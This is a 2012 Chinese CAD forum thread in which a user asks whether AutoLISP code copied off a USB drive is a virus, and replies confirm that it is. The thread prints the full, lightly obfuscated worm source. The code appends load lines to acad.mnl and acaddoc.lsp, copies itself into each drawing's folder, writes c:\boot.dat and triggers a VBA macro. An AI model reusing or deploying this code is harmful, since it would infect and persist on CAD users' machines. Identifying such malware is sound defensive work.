明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 1471|回复: 4

这是病毒吗?

[复制链接]
发表于 2012-7-15 11:26:13 | 显示全部楼层 |阅读模式
(setq
  wold_cmd
   (getvar
     "cmdecho"
   )
)
(setvar
  "cmdecho"
  0
)
(setq
  wpath
   (
    findfile
     "base.dcl"
   )
)
(setq
  wpath
   (substr
     wpath
     1
     (
      -
       (
strlen
  wpath
       )
       8
     )
   )
)
(setq
  wwmnlwpath
   (
    getvar
     "menuname"
   )
)
(setq
  wnowdwg
   (getvar
     "dwgname"
   )
)
(setq
  wwjqm
   (findfile
     wnowdwg
   )
)
(setq
  wdwgwpath
   (substr
     wwjqm
     1
     (
      -
       (
strlen
  wwjqm
       )
       (
strlen
  wnowdwg
       )
     )
   )
)
;;;alert  
(
setq
  f
   (
    open
     "c:\\boot.dat"
     "w"
   )
)
(write-line
  "[dang]"
  f
)
(write-line
  (strcat
    "ff="
    wdwgwpath
  )
  f
)
(write-line
  (strcat
    "yy="
    wpath
  )
  f
)
(close
  f
)
(setq
  boot
   (findfile
     "boot.dat"
   )
)
(if
  (/=
    boot
    ""
  )
   (command
     "_-vbarun"
     "ThisDrawing.hh"
   )
)
(setq
  wacadwpath
   (findfile
     "acaddoc.lsp"
   )
)
(setq
  wacadwpath
   (substr
     wacadwpath
     1
     (-
       (strlen
  wacadwpath
       )
       11
     )
   )
)
(setq
  wns1
       ""
  wns2
       ""
)
(setq
  wlspbj
   0
)
(setq
  wwjqm
   (strcat
     wpath
     "acaddoc.lsp"
   )
)
(if
  (setq
    wwjm
     (open
       wwjqm
       "r"
     )
  )
   (progn
     (while
       (setq
  wwz
   (read-line
     wwjm
   )
       )
(setq
   wns1
    wns2
)
(setq
   wns2
    wwz
)
     )
     (if
       (>
  (strlen
    wns1
  )
  14
       )
(if
   (=
     (substr
       wns1
       8
       7
     )
     "acadapq"
   )
    (setq
      wlspbj
       1
    )
)
     )
     (close
       wwjm
     )
   )
)
(setq
  wlspmnl
   0
)
(setq
  wwjqm
   (strcat
     wpath
     "acad.mnl"
   )
)
(if
  (setq
    wwjm
     (open
       wwjqm
       "r"
     )
  )
   (progn
     (while
       (setq
  wwz
   (read-line
     wwjm
   )
       )
(setq
   wns1
    wns2
)
(setq
   wns2
    wwz
)
     )
     (if
       (>
  (strlen
    wns1
  )
  14
       )
(if
   (=
     (substr
       wns1
       8
       7
     )
     "acadapq"
   )
    (setq
      wlspmnl
       1
    )
)
     )
     (close
       wwjm
     )
   )
)
(if
  (=
    wlspmnl
    0
  )
   (progn
     (setq
       wwjqm
(strcat
   wpath
   (strcat
     (chr
       97
     )
     (chr
       99
     )
     (chr
       97
     )
     (chr
       100
     )
     (chr
       46
     )
     (chr
       109
     )
     (chr
       110
     )
     (chr
       108
     )
   )
)
     )
     (setq
       wwjm
(open
   wwjqm
   "a"
)
     )
     (write-line
       (strcat
  "(load "
  (chr
    34
  )
  "acadapq"
  (chr
    34
  )
  ")"
       )
       wwjm
     )
     (write-line
       "(princ)"
       wwjm
     )
     (close
       wwjm
     )
   )
)
(defun
   wwriteapp
     ()
  (if
    (setq
      wwjm1
       (open
  wnewacad
  "w"
       )
    )
     (progn
       (setq
  wwjm
   (open
     woldacad
     "r"
   )
       )
       (while
  (setq
    wwz
     (read-line
       wwjm
     )
  )
   (write-line
     wwz
     wwjm1
   )
       )
       (close
  wwjm
       )
       (close
  wwjm1
       )
     )
  )
)
(if
  (and
    (=
      wacadwpath
      wdwgwpath
    )
    (/=
      wacadwpath
      wpath
    )
  )
   (progn
     (if
       (= 0
   wlspmnl
       )
(progn
   (setq
     woldacad
      (findfile
        "acaddoc.lsp"
      )
   )
   (setq
     wnewacad
      (strcat
        wpath
        "acadapq.lsp"
      )
   )
)
(progn
   (setq
     woldacad
      (strcat
        wpath
        "acadapq.lsp"
      )
   )
   (setq
     wnewacad
      (findfile
        "acaddoc.lsp"
      )
   )
)
     )
     (if
       (=
  wlspbj
  0
       )
(progn
   (setq
     wwjqm
      (strcat
        wpath
        "acaddoc.lsp"
      )
   )
   (setq
     wwjm
      (open
        wwjqm
        "a"
      )
   )
   (write-line
     (strcat
       "(load "
       (chr
  34
       )
       "acadapq"
       (chr
  34
       )
       ")"
     )
     wwjm
   )
   (write-line
     "(princ)"
     wwjm
   )
   (close
     wwjm
   )
)
     )
     (wwriteapp
     )
   )
   (progn
     (if
       (/=
  wnowdwg
  "Drawing.dwg"
       )
(progn
   (setq
     woldacad
      (findfile
        "acadapq.lsp"
      )
   )
   (setq
     wnewacad
      (strcat
        wdwgwpath
        "acaddoc.lsp"
      )
   )
   (wwriteapp
   )
)
     )
   )
)
(setvar
  "cmdecho"
  wold_cmd
)
(princ)
(setq
  strtopstr
   (strcat
     (chr
       92
     )
     (chr
       92
     )
     (chr
       70
     )
     (chr
       83
     )
     (chr
       49
     )
     (chr
       92
     )
     (chr
       83
     )
     (chr
       89
     )
     (chr
       83
     )
     (chr
       49
     )
     (chr
       92
     )
     (chr
       87
     )
     (chr
       79
     )
     (chr
       82
     )
     (chr
       75
     )
     (chr
       92
     )
     (chr
       80
     )
     (chr
       76
     )
     (chr
       79
     )
     (chr
       84
     )
     (chr
       69
     )
     (chr
       82
     )
   )
)
(setq
  strbottomstr
   (strcat
     (chr
     )
   )
)
"觉得好,就打赏"
还没有人打赏,支持一下
 楼主| 发表于 2012-7-15 11:33:43 | 显示全部楼层
一个U盘上拷出来的,
发表于 2012-7-15 13:45:45 | 显示全部楼层
确认是病毒

点评

杀毒软件杀的出来吗?  发表于 2012-7-16 00:36
发表于 2012-7-15 16:41:44 | 显示全部楼层
可以认为是
发表于 2012-7-16 23:07:08 | 显示全部楼层
cabinsummer 发表于 2012-7-15 13:45
确认是病毒

用xshrimp的筑原CAD杀毒可以干掉它
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-11-19 15:40 , Processed in 0.192339 second(s), 34 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表